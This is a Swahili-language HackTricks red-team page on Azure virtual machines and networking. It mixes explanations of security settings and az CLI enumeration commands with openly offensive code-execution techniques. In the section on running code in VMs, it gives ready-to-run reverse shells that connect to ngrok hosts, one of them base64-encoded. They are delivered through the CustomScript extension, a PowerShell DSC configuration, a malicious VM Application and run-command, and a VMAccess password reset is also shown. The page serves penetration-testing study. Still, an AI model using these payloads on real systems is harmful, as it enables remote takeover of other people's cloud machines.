Az - Mashine za Kijijini & Mtandao

Reading time: 26 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Taarifa za Msingi za Mtandao wa Azure

Mitandao ya Azure ina vitu tofauti na njia za kuviunda. Unaweza kupata maelezo mafupi, mfano na amri za kuhesabu za vitu tofauti vya mtandao wa Azure katika:

Az - Azure Network

Taarifa za Msingi za VMs

Mashine za Kijijini za Azure (VMs) ni seva za wingu zinazoweza kubadilishwa, zinazohitajika kwa wakati ambazo zinakuwezesha kuendesha mifumo ya uendeshaji ya Windows au Linux. Zinakuwezesha kupeleka programu na mizigo bila kusimamia vifaa halisi. VMs za Azure zinaweza kuundwa kwa chaguzi mbalimbali za CPU, kumbukumbu, na uhifadhi ili kukidhi mahitaji maalum na kuunganishwa na huduma za Azure kama mitandao ya virtual, uhifadhi, na zana za usalama.

Mipangilio ya Usalama

  • Mikoa ya Upatikanaji: Mikoa ya upatikanaji ni vikundi tofauti vya vituo vya data ndani ya eneo maalum la Azure ambavyo vimegawanywa kimwili ili kupunguza hatari ya mikoa kadhaa kuathiriwa na matatizo ya ndani au majanga.
  • Aina ya Usalama:
  • Usalama wa Kawaida: Hii ni aina ya usalama ya msingi ambayo haitaji mipangilio maalum.
  • Uzinduzi wa Kuaminika: Aina hii ya usalama inaboresha ulinzi dhidi ya boot kits na malware ya kiwango cha kernel kwa kutumia Secure Boot na Virtual Trusted Platform Module (vTPM).
  • VMs za Siri: Zaidi ya uzinduzi wa kuaminika, inatoa kutengwa kwa msingi wa vifaa kati ya VM, hypervisor na usimamizi wa mwenyeji, inaboresha usimbaji wa diski na zaidi.
  • Uthibitishaji: Kwa kawaida funguo mpya za SSH zinaundwa, ingawa inawezekana kutumia funguo za umma au kutumia funguo za awali na jina la mtumiaji kwa kawaida ni azureuser. Pia inawezekana kuunda mipangilio ya kutumia neno la siri.
  • Usimbaji wa diski za VM: Diski inasimbwa kwa kupumzika kwa kawaida kwa kutumia funguo zinazodhibitiwa na jukwaa.
  • Pia inawezekana kuwezesha Usimbaji kwenye mwenyeji, ambapo data itasimbwa kwenye mwenyeji kabla ya kutumwa kwa huduma ya uhifadhi, kuhakikisha usimbaji wa mwisho hadi mwisho kati ya mwenyeji na huduma ya uhifadhi (docs).
  • Kikundi cha usalama wa mtandao wa NIC:
  • Hakuna: Kimsingi inafungua kila bandari
  • Msingi: Inaruhusu kufungua kwa urahisi bandari za ndani HTTP (80), HTTPS (443), SSH (22), RDP (3389)
  • Juu: Chagua kikundi cha usalama
  • Nakala: Inawezekana kuwezesha Msingi nakala (moja kwa siku) na Imara (mara kadhaa kwa siku)
  • Chaguzi za uratibu wa patch: Hii inaruhusu kutekeleza patch kiotomatiki katika VMs kulingana na sera iliyochaguliwa kama ilivyoelezwa katika docs.
  • Alerts: Inawezekana kupata arifa kiotomatiki kwa barua pepe au programu ya simu wakati kitu kinatokea katika VM. Sheria za msingi:
  • Asilimia ya CPU ni kubwa kuliko 80%
  • Kumbukumbu Inapatikana Bytes ni chini ya 1GB
  • Asilimia ya IOPS za Diski za Data zinazotumika ni kubwa kuliko 95%
  • Asilimia ya IOPS za OS zinazotumika ni kubwa kuliko 95%
  • Mtandao kwa Jumla ni mkubwa kuliko 500GB
  • Mtandao wa Nje kwa Jumla ni mkubwa kuliko 200GB
  • VmAvailabilityMetric ni chini ya 1
  • Kikaguzi cha Afya: Kwa kawaida inakagua itifaki ya HTTP kwenye bandari 80
  • Locks: Inaruhusu kufunga VM ili iweze kusomwa tu (ReadOnly lock) au inaweza kusomwa na kusasishwa lakini si kufutwa (CanNotDelete lock).
  • Rasilimali nyingi zinazohusiana na VM pia zinaunga mkono locks kama diski, picha za snapshot...
  • Locks zinaweza pia kutumika katika kikundi cha rasilimali na viwango vya usajili

Diski & picha za snapshot

  • Inawezekana kuwezesha kuunganisha diski kwa VMs 2 au zaidi
  • Kwa kawaida kila diski inasimbwa na funguo ya jukwaa.
  • Vivyo hivyo katika picha za snapshot
  • Kwa kawaida inawezekana kushiriki diski kutoka mitandao yote, lakini pia inaweza kuzuiwa kwa ufikiaji fulani binafsi au kukatisha kabisa ufikiaji wa umma na binafsi.
  • Vivyo hivyo katika picha za snapshot
  • Inawezekana kuunda SAS URI (ya max siku 60) ili kuhamasisha diski, ambayo inaweza kuundwa ili kuhitaji uthibitishaji au la
  • Vivyo hivyo katika picha za snapshot
bash
# List all disks
az disk list --output table

# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>

Picha, Picha za Galeria & Pointi za Kurejesha

Picha ya VM ni kiolezo kinachojumuisha mfumo wa uendeshaji, mipangilio ya programu na mfumo wa faili unaohitajika ili kuunda mashine mpya ya virtual (VM). Tofauti kati ya picha na snapshot ya diski ni kwamba snapshot ya diski ni nakala ya kusoma tu, ya wakati mmoja ya diski moja inayosimamiwa, inayotumika hasa kwa ajili ya akiba au kutatua matatizo, wakati picha inaweza kuwa na diski nyingi na imeundwa kutumikia kama kiolezo cha kuunda VMs mpya.
Picha zinaweza kusimamiwa katika sehemu ya Picha ya Azure au ndani ya galeria za kompyuta za Azure ambazo zinaruhusu kuunda matoleo na kushiriki picha hiyo kati ya wapangaji tofauti au hata kuifanya kuwa ya umma.

Pointi ya kurejesha inahifadhi usanidi wa VM na snapshot za wakati mmoja zinazofanana na programu za diski zote zinazosimamiwa zilizounganishwa na VM. Inahusiana na VM na kusudi lake ni kuwa na uwezo wa kurejesha VM hiyo jinsi ilivyokuwa katika wakati huo maalum.

bash
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shaerd with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

Azure Site Recovery

Kutoka kwenye docs: Site Recovery husaidia kuhakikisha uendelevu wa biashara kwa kuweka programu za biashara na mizigo ikifanya kazi wakati wa kukatika. Site Recovery inajirudia mizigo inayofanya kazi kwenye mashine za kimwili na virtual (VMs) kutoka tovuti ya msingi hadi eneo la pili. Wakati kukatika kunapotokea kwenye tovuti yako ya msingi, unahamia kwenye eneo la pili, na kufikia programu kutoka hapo. Baada ya eneo la msingi kuanza tena, unaweza kurudi huko.

Azure Bastion

Azure Bastion inaruhusu ufikiaji salama na usio na mshono wa Remote Desktop Protocol (RDP) na Secure Shell (SSH) kwa mashine zako za virtual (VMs) moja kwa moja kupitia Azure Portal au kupitia sanduku la jump. Kwa kuondoa hitaji la anwani za IP za umma kwenye VMs zako.

Bastion inapeleka subnet inayoitwa AzureBastionSubnet yenye netmask ya /26 katika VNet ambayo inahitaji kufanya kazi. Kisha, inaruhusu kuungana na VMs za ndani kupitia kivinjari kwa kutumia RDP na SSH bila kufichua bandari za VMs kwa Mtandao. Inaweza pia kufanya kazi kama jump host.

Ili orodhesha Hosts zote za Azure Bastion katika usajili wako na kuungana na VMs kupitia hizo, unaweza kutumia amri zifuatazo:

bash
# List bastions
az network bastion list -o table

# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa

# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>

Metadata

Huduma ya Metadata ya Azure Instance (IMDS) inatoa taarifa kuhusu mifano ya mashine za virtual zinazofanya kazi kusaidia katika usimamizi na usanidi wao. Inatoa maelezo kama SKU, uhifadhi, usanidi wa mtandao, na taarifa kuhusu matukio ya matengenezo yanayokuja kupitia REST API inayopatikana kwenye anwani ya IP isiyoweza kuelekezwa 169.254.169.254, ambayo inapatikana tu kutoka ndani ya VM. Mawasiliano kati ya VM na IMDS yanabaki ndani ya mwenyeji, kuhakikisha ufikiaji salama. Wakati wa kuuliza IMDS, wateja wa HTTP ndani ya VM wanapaswa kupita proxies za wavuti ili kuhakikisha mawasiliano sahihi.

Zaidi ya hayo, ili kuwasiliana na mwisho wa metadata, ombi la HTTP lazima liwe na kichwa Metadata: true na halipaswi kuwa na kichwa X-Forwarded-For.

Angalia jinsi ya kuhesabu hiyo katika:

Cloud SSRF - HackTricks

VM Enumeration

bash
# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>

## List all available VM images and get info about one
az vm image list --all --output table

# VM Extensions
## List all VM extensions
az vm extension image list --output table

## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>

## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>

# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>

# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shared with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

# Bastion
## list all bastions
az network bastion list -o table

# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"

## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table

## List public IPs
az network public-ip list --output table

## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table

## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"

## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>

## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table

## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table

## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table

# Misc
## List all virtual machine scale sets
az vmss list --output table

## List all availability sets
az vm availability-set list --output table

## List all load balancers
az network lb list --output table

## List all storage accounts
az storage account list --output table

## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>

# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>

## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table

# List all available run commands for virtual machines
az vm run-command list --output table

Utekelezaji wa Kanuni katika VMs

Nyongeza za VM

Nyongeza za Azure VM ni programu ndogo zinazotoa mipangilio baada ya kupelekwa na kazi za automatisering kwenye mashine za virtual za Azure (VMs).

Hii itaruhusu kutekeleza kanuni zisizo na mipaka ndani ya VMs.

Ruhusa inayohitajika ni Microsoft.Compute/virtualMachines/extensions/write.

Inawezekana kuorodhesha nyongeza zote zinazopatikana kwa:

bash
# It takes some mins to run
az vm extension image list --output table

# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

Inawezekana kufanya kazi na nyongeza za kawaida ambazo zinaendesha msimbo wa kawaida:

  • Tekeleza shell ya kurudi
bash
# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
  • Teua skripti iliyo kwenye mtandao
bash
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'

Relevant VM extensions

The required permission is still Microsoft.Compute/virtualMachines/extensions/write.

VMAccess extension

Extension hii inaruhusu kubadilisha nenosiri (au kuunda ikiwa halipo) la watumiaji ndani ya Windows VMs.

bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)

Hii ni VM extension inayomilikiwa na Microsoft inayotumia PowerShell DSC kusimamia usanidi wa Azure Windows VMs. Hivyo, inaweza kutumika kutekeleza amri za kawaida katika Windows VMs kupitia nyongeza hii:

bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Hybrid Runbook Worker

Hii ni nyongeza ya VM ambayo itaruhusu kutekeleza runbooks katika VMs kutoka kwa akaunti ya automatisering. Kwa maelezo zaidi angalia huduma ya Automation Accounts.

VM Applications

Hizi ni pakiti zenye data za programu zote na scripts za kufunga na kuondoa ambazo zinaweza kutumika kuongeza na kuondoa programu kwa urahisi katika VMs.

bash
# List all galleries in resource group
az sig list --resource-group <res-group> --output table

# List all apps in a fallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

Hizi ni njia ambapo programu zinapakuliwa ndani ya mfumo wa faili:

  • Linux: /var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>
  • Windows: C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>

Angalia jinsi ya kufunga programu mpya katika https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli

caution

Inawezekana kushiriki programu binafsi na maktaba na usajili au wapangaji wengine. Hii ni ya kuvutia sana kwa sababu inaweza kumruhusu mshambuliaji kuingiza programu na kuhamasisha kwa usajili na wapangaji wengine.

Lakini hakuna "soko" la programu za vm kama ilivyo kwa nyongeza.

Ruhusa zinazohitajika ni:

  • Microsoft.Compute/galleries/applications/write
  • Microsoft.Compute/galleries/applications/versions/write
  • Microsoft.Compute/virtualMachines/write
  • Microsoft.Network/networkInterfaces/join/action
  • Microsoft.Compute/disks/write

Mfano wa unyakuzi wa kutekeleza amri zisizo na mipaka:

bash
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true

User data

Hii ni data ya kudumu ambayo inaweza kupatikana kutoka kwa kiungo cha metadata wakati wowote. Kumbuka katika Azure, data ya mtumiaji ni tofauti na AWS na GCP kwa sababu ikiwa utaweka script hapa haitatekelezwa kwa default.

Custom data

Inawezekana kupitisha data fulani kwa VM ambayo itahifadhiwa katika njia zinazotarajiwa:

  • Katika Windows, data ya kawaida inawekwa katika %SYSTEMDRIVE%\AzureData\CustomData.bin kama faili ya binary na haiwezi kusindika.
  • Katika Linux, ilihifadhiwa katika /var/lib/waagent/ovf-env.xml na sasa inahifadhiwa katika /var/lib/waagent/CustomData/ovf-env.xml
  • Linux agent: Haiwezi kusindika data ya kawaida kwa default, picha maalum yenye data iliyoanzishwa inahitajika
  • cloud-init: Kwa default inasindika data ya kawaida na data hii inaweza kuwa katika format mbalimbali. Inaweza kutekeleza script kwa urahisi kwa kutuma tu script katika data ya kawaida.
  • Nilijaribu kwamba zote Ubuntu na Debian zinaweza kutekeleza script unayoweka hapa.
  • Pia si lazima kuwezesha data ya mtumiaji ili hii itekelezwe.
bash
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt

Run Command

Hii ni mekanizma ya msingi zaidi ambayo Azure inatoa ili kutekeleza amri za kiholela katika VMs. Ruhusa inayohitajika ni Microsoft.Compute/virtualMachines/runCommand/action.

bash
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh

Kuinua Haki

Az - Virtual Machines & Network Privesc

Ufikiaji Usioidhinishwa

Az - VMs Unauth

Baada ya Kutekeleza

Az - VMs & Network Post Exploitation

Kudumu

Az - VMs Persistence

Marejeo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks